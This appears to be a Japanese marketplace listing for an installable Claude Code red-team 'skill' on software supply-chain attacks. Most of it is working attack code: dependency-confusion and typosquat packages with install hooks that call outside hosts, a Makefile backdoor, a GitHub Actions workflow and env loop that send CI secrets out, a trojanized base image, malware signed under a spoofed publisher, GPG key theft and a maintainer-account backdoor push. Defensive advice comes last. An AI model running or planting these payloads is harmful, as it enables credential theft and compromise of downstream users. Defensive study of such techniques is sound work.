mcpField
O
offensive-supply-chain

offensive-supply-chain

github.com/snailsploitセキュリティ9.7k144 回インストール2 週間前に更新
リポジトリ

offensive-supply-chain について

認可されたレッドチームによるソフトウェアサプライチェーン評価向けのスキルです。パッケージ解決、ビルドフック、CI/CD 成果物、コンテナイメージと防御策を扱います。

主な機能

  1. 01依存関係混乱の評価
  2. 02タイポスクワッティング手法
  3. 03ビルドフックの分析
  4. 04CI/CD 成果物の改ざん
  5. 05コンテナイメージの攻撃
  6. 06検知と強化の指針

活用シーン

  1. 01パッケージレジストリ解決の監査
  2. 02ビルド・インストールスクリプトのテスト
  3. 03CI/CD 成果物の信頼性評価
  4. 04コンテナイメージの完全性確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-supply-chain

インストール後、Claude Code で/offensive-supply-chainを入力して読み込まれたか確認します。

詳細

ソフトウェアサプライチェーン攻撃

ソフトウェアサプライチェーン攻撃は、開発者、パッケージレジストリ、ビルドシステム、デプロイパイプライン間の信頼関係を悪用します。組織が依存している一方で、自社コードと同じ厳密さではほとんど監査されないコンポーネントやプロセスを標的にします。1 つの依存関係が侵害されると、下流の何千もの利用者に影響が広がる可能性があり、サプライチェーンは現代のソフトウェアエコシステムにおいて最も大きな効果を得られる攻撃対象領域となっています。

このスキルでは、内部パッケージ名の偵察、レジストリの解決ロジックの悪用、ビルドシステムのフックの悪用、CI/CD パイプラインの改ざん、コンテナイメージのサプライチェーン攻撃という、攻撃のライフサイクルを扱います。各手法は、安全なコールバックの仕組みを備えた、許可を得たレッドチーム演習のパターンに対応しています。

クイックワークフロー

  1. 対象の成果物(ロックファイル、ソースマップ、エラーメッセージ、GitHub リポジトリ)から内部パッケージ名を列挙します。
  2. パッケージエコシステム(npm、PyPI、NuGet、Maven、Go、Ruby)とレジストリの設定を特定します。
  3. 攻撃ベクトルを選択します。依存関係の混同、タイポスクワッティング、ビルドフックへのインジェクション、CI/CD の改ざん、コンテナサプライチェーン攻撃です。
  4. DNS カナリアまたは HTTP コールバックを使った安全な概念実証パッケージを準備します。破壊的なペイロードは使用しません。
  5. パッケージを公開レジストリに登録するか、インジェクション用の成果物を用意します。
  6. 対象環境で実行されたことを確認するため、コールバックを監視します。
  7. 攻撃経路、影響を受けるシステム、修正に関するガイダンスを文書化します。

依存関係の混同

依存関係の混同は、組織がプライベートとパブリックの両方のパッケージレジストリを使用している場合の、解決順序を悪用します。プライベートレジストリが唯一の取得元として設定されていない場合、パッケージマネージャーは内部パッケージよりもバージョン番号の高いパブリックパッケージを優先する可能性があります。

npm の依存関係の混同

プロジェクトがスコープのないプライベートパッケージを参照しており、.npmrc でレジストリが唯一の取得元に固定されていない場合、npm はパブリックレジストリにフォールバックします。

# Recon: extract package names from package-lock.json or yarn.lock
cat package-lock.json | jq -r '.dependencies | keys[]' | sort -u > pkg_names.txt

# Check which names are unclaimed on the public npm registry
while read pkg; do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg")
  if [ "$status" = "404" ]; then
    echo "[AVAILABLE] $pkg"
  fi
done < pkg_names.txt
// Malicious package.json with high version to win resolution
{
  "name": "internal-utils",
  "version": "99.0.0",
  "scripts": {
    "preinstall": "curl https://your-canary.oastify.com/npm-$(hostname)-$(whoami)"
  }
}
PyPI の依存関係の混同

Python の pip は、デフォルトで PyPI からパッケージを解決します。組織がプライベートレジストリを追加するために --extra-index-url を使っている場合、pip は両方のインデックスを考慮し、最も高いバージョンを選択します。

# Recon: extract internal package names from requirements.txt or setup.cfg
grep -v '^#' requirements.txt | grep -v '^\s*$' | \
  sed 's/[>=<].*//' | sed 's/\[.*//' | tr -d ' ' > pypi_names.txt

# Check availability on public PyPI
while read pkg; do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json")
  if [ "$status" = "404" ]; then
    echo "[AVAILABLE] $pkg"
  fi
done < pypi_names.txt
# setup.py with install hook for safe callback
from setuptools import setup
from setuptools.command.install import install
import os, socket, urllib.request

class PostInstall(install):
    def run(self):
        install.run(self)
        hostname = socket.gethostname()
        user = os.getenv("USER", "unknown")
        urllib.request.urlopen(
            f"https://your-canary.oastify.com/pypi-{hostname}-{user}"
        )

setup(
    name="internal-data-lib",
    version="99.0.0",
    cmdclass={"install": PostInstall},
)
NuGet フィードの優先順位

NuGet は設定された複数のフィードから依存関係を解決します。プライベートフィードが nuget.org と並んでいる場合、すべてのフィードの中で最も高いバージョンが選択されます。


<configuration>
  <packageSources>
    <add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
    <add key="internal" value="https://pkgs.corp.example.com/nuget/v3/index.json" />
  </packageSources>
</configuration>
# Check NuGet public registry for unclaimed names
curl -s "https://api.nuget.org/v3-flatcontainer/corp.internal.auth/index.json" \
  | jq '.versions'
# Empty or 404 means the name is available
confused による自動スキャン
# Install confused (Go-based dependency confusion scanner)
go install github.com/visma-prodsec/confused@latest

# Scan npm lock file for confusable packages
confused -l npm package-lock.json

# Scan Python requirements
confused -l pip requirements.txt

# Scan NuGet packages.config
confused -l nuget packages.config

タイポスクワッティング攻撃

タイポスクワッティングは、インストール時に開発者がパッケージ名を誤入力することを利用します。人気のあるパッケージ名の一般的なスペルミス、ハイフンとアンダースコアの違い、または単数形と複数形の違いを使った名前のパッケージを登録します。

# Generate typosquat candidates for a target package
target="requests"
echo "${target}s"
echo "${target}1"
echo "${target}-python"
echo "python-${target}"
echo "${target/e/3}"
echo "${target}lib"
echo "${target}-utils"
# setup.py for a typosquat PoC -- safe callback only
from setuptools import setup
from setuptools.command.install import install
import urllib.request, socket

class Callback(install):
    def run(self):
        install.run(self)
        h = socket.gethostname()
        urllib.request.urlopen(f"https://canary.example.com/typo-{h}")

setup(
    name="reqeusts",  # common transposition typo
    version="2.31.0",
    description="This is a security research package.",
    cmdclass={"install": Callback},
    python_requires=">=3.6",
)
// package.json for npm typosquat PoC
{
  "name": "loadash",
  "version": "4.17.21",
  "description": "Security research package - typosquat detection",
  "scripts": {
    "preinstall": "node -e \"require('https').get('https://canary.example.com/npm-typo-' + require('os').hostname())\""
  }
}

ビルドシステムへの攻撃

ビルドシステムは、コンパイル、インストール、パッケージ化の際に任意のコードを実行します。開発者が依存関係をビルドまたはインストールするときに暗黙的に実行されるフックやスクリプトを標的にします。

Makefile へのインジェクション
# Injected target that runs before the default build
.PHONY: all
all: backdoor build

backdoor:
	@curl -s https://canary.example.com/make-$$(hostname) > /dev/null 2>&1

build:
	gcc -o app main.c
setup.py のインストールフック(Python)
# setup.py with multiple hook points
from setuptools import setup
from setuptools.command.install import install
from setuptools.command.develop import develop
from setuptools.command.egg_info import egg_info

def callback():
    import urllib.request, socket
    urllib.request.urlopen(
        f"https://canary.example.com/setup-{socket.gethostname()}"
    )

class InstallHook(install):
    def run(self):
        callback()
        install.run(self)

class DevelopHook(develop):
    def run(self):
        callback()
        develop.run(self)

class EggInfoHook(egg_info):
    def run(self):
        callback()
        egg_info.run(self)

setup(
    name="compromised-lib",
    version="1.0.0",
    cmdclass={
        "install": InstallHook,
        "develop": DevelopHook,
        "egg_info": EggInfoHook,
    },
)
npm の postinstall / preinstall スクリプト
{
  "name": "compromised-module",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "node callback.js",
    "postinstall": "node callback.js",
    "prepare": "node callback.js"
  }
}
// callback.js -- safe exfiltration of environment metadata
const https = require('https');
const os = require('os');

const data = JSON.stringify({
  hostname: os.hostname(),
  user: os.userInfo().username,
  platform: os.platform(),
  cwd: process.cwd(),
  env_ci: process.env.CI || "false",
  env_build_id: process.env.BUILD_ID || "none"
});

const req = https.request({
  hostname: 'canary.example.com',
  port: 443,
  path: '/npm-postinstall',
  method: 'POST',
  headers: { 'Content-Type': 'application/json' }
}, () => {});
req.write(data);
req.end();

CI/CD 成果物の改ざん

CI/CD パイプラインが生成する成果物(バイナリ、コンテナイメージ、パッケージ)は、下流のシステムによって暗黙の信頼をもって利用されます。成果物の保存、転送、検証の各段階を標的にします。

GitHub Actions ワークフローへのインジェクション
# Malicious workflow exploiting pull_request_target
name: Build
on:
  pull_request_target:
    types: [opened, synchronize]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      # Attacker-controlled code now runs with repo secrets
      - run: |
          curl -s -d "token=${{ secrets.DEPLOY_TOKEN }}" \
            https://canary.example.com/gha-secrets
ストレージ内の成果物の置き換え
# If artifact storage uses predictable paths or weak auth
# Replace a legitimate build artifact with a trojanized version
aws s3 cp trojanized-app.tar.gz s3://build-artifacts/releases/app-latest.tar.gz

# Verify no integrity checks exist
curl -s https://releases.example.com/app-latest.tar.gz.sha256
# 404 -- no checksum published, replacement goes undetected
パイプラインシークレットの抽出
# In a compromised CI job, enumerate available secrets
env | grep -iE '(token|secret|key|pass|api)' | \
  while read line; do
    curl -s "https://canary.example.com/ci-env?$(echo $line | base64 -w0)"
  done

コンテナイメージのサプライチェーン

コンテナレジストリとベースイメージは、並行するサプライチェーンを形成します。イメージのプル時の解決、ベースイメージの完全性、レジストリ認証を標的にします。

ベースイメージへのトロイの木馬の仕込み
# Attacker publishes a trojanized version of a common base image
FROM ubuntu:22.04

# Inject persistence into the base image
RUN apt-get update && apt-get install -y curl && \
    echo '#!/bin/bash' > /usr/local/bin/entrypoint-hook.sh && \
    echo 'curl -s https://canary.example.com/container-$(hostname) &' >> /usr/local/bin/entrypoint-hook.sh && \
    echo 'exec "$@"' >> /usr/local/bin/entrypoint-hook.sh && \
    chmod +x /usr/local/bin/entrypoint-hook.sh

ENTRYPOINT ["/usr/local/bin/entrypoint-hook.sh"]
レジストリの混同
# If Dockerfile uses unqualified image names, Docker resolves from Docker Hub
# A private registry image "myapp/backend" can be shadowed
docker pull myapp/backend  # resolves to docker.io/myapp/backend

# Attacker registers docker.io/myapp/backend with a trojanized image
# Targets that do not pin their registry prefix pull the attacker image
イメージタグの可変性を悪用した攻撃
# Tags are mutable -- attacker with registry write access replaces a tag
# Target pulls "myimage:latest" or "myimage:v1.2" and gets the trojanized version

# Verify image digest before and after
docker inspect --format='{{index .RepoDigests 0}}' myimage:v1.2
# Compare against known-good digest
# sha256:abc123... vs sha256:def456... indicates tampering

コード署名の悪用

コード署名は真正性を保証しますが、署名インフラ自体が攻撃対象領域となります。

# Generate a self-signed certificate mimicking a legitimate publisher
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 \
  -subj "/CN=Trusted Publisher Inc/O=Trusted Publisher/C=US" -nodes

# Sign a malicious binary (Windows Authenticode example)
osslsigncode sign -certs cert.pem -key key.pem \
  -n "Legitimate Application" -i https://legitimate-publisher.com \
  -in malicious.exe -out signed-malicious.exe

# Many systems check "is it signed?" but not "by whom?"
# Steal signing keys from CI/CD environment variables
# Common locations for code signing secrets
echo $SIGNING_KEY
echo $CODE_SIGN_CERT
echo $GPG_PRIVATE_KEY
cat ~/.gnupg/private-keys-v1.d/*

上流リポジトリの侵害

広く使われている依存関係のソースリポジトリを侵害すると、更新を行うすべての下流の利用者でコードを実行できます。

# Enumerate maintainer accounts with weak security
# Look for maintainers without 2FA, reused passwords, or abandoned emails
# Check npm package maintainers
npm view lodash maintainers

# Check GitHub commit signing
git log --show-signature -5

# Unsigned commits mean a compromised account can push without detection
# After gaining maintainer access, inject a subtle backdoor
# Modify a rarely-reviewed utility function
git checkout -b patch-perf-improvement
# Edit a deeply nested file
# Commit with a benign-looking message
git commit -m "perf: optimize string comparison for edge cases"
git push origin patch-perf-improvement
# Create a PR and merge quickly before review

検出/防御側の視点

防御側は、サプライチェーン攻撃を検出して防止するため、次の対策を実施してください。

  1. レジストリの固定:パッケージマネージャーが、唯一のソースとしてプライベートレジストリだけを使用するよう設定します。npm ではスコープ付きパッケージを使用します。pip では --extra-index-url ではなく --index-url を使用します。NuGet では、フィードを追加する前に <clear /> を指定します。

  2. ロックファイルの整合性:パッケージソース、バージョン、チェックサムに予期しない変更がないか、ロックファイルを監視します。プルリクエストではロックファイルのレビューを必須にします。

  3. ビルドの再現性:再現可能なビルドを実装し、独立したビルド環境間で成果物を比較します。

  4. 依存関係のスキャン:CI パイプラインで dependency-check、npm audit、pip-audit、または Snyk を実行し、既知の脆弱性があるパッケージや不審なパッケージを検出します。

  5. イメージの固定:コンテナーイメージはタグではなくダイジェストで指定します。:latest の代わりに image: registry.example.com/app@sha256:abc123... を使用します。

  6. Sigstore/cosign:コンテナーイメージの署名と SBOM を検証します。署名のないイメージが本番環境に取り込まれないよう監視します。

  7. CI/CD の強化:pull_request_target トリガーを制限し、アクションのバージョンをコミット SHA で固定し、ワークフローの権限を監査し、シークレットをローテーションします。

  8. 内部パッケージ名の確保:タイポスクワッティングを防ぐため、プレースホルダーパッケージを使用して、内部パッケージ名を公開レジストリにあらかじめ登録します。

# Detect dependency confusion attempts with confused
confused -l npm package-lock.json 2>&1 | grep "could be"

# Monitor for unexpected outbound DNS/HTTP from build environments
# Alert on connections to unknown domains during install/build phases

# Audit npm packages for install scripts
npm pack <package> && tar -xzf *.tgz && cat package/package.json | jq '.scripts'

エンゲージメント用チートシート

フェーズアクションリスクレベル
偵察ロックファイルから内部パッケージ名を抽出する低
偵察公開レジストリでの利用可能状況を確認する低
ステージングDNS カナリアコールバック付きの PoC パッケージを登録する中
悪用対象が依存関係の混同によってインストール/ビルドするのを待つ中
検証コールバックの受信を確認し、対象範囲を記録する低
クリーンアップ公開レジストリから PoC パッケージを削除する低
報告攻撃経路と修正手順を記録する低

安全な PoC のガイドライン:

  • コールバックには DNS カナリア(Burp Collaborator、interactsh、またはカスタムのもの)を使用します。
  • 破壊的なペイロードは決してデプロイしないでください。外部に送信するのはホスト名とユーザー名のみにします。
  • セキュリティ研究であることを明記した説明を付けてパッケージを登録します。
  • エンゲージメント期間内に、公開レジストリからすべての PoC パッケージを削除します。
  • 公開レジストリに登録する前に、対象のセキュリティチームと調整します。

MITRE ATT&CK の対応付け:

  • T1195.001 -- ソフトウェア依存関係と開発ツールの侵害
  • T1195.002 -- ソフトウェアサプライチェーンの侵害
  • T1059.006 -- コマンドおよびスクリプトインタープリター:Python(setup.py フック)
  • T1059.007 -- コマンドおよびスクリプトインタープリター:JavaScript(npm スクリプト)

主な参考資料

コメント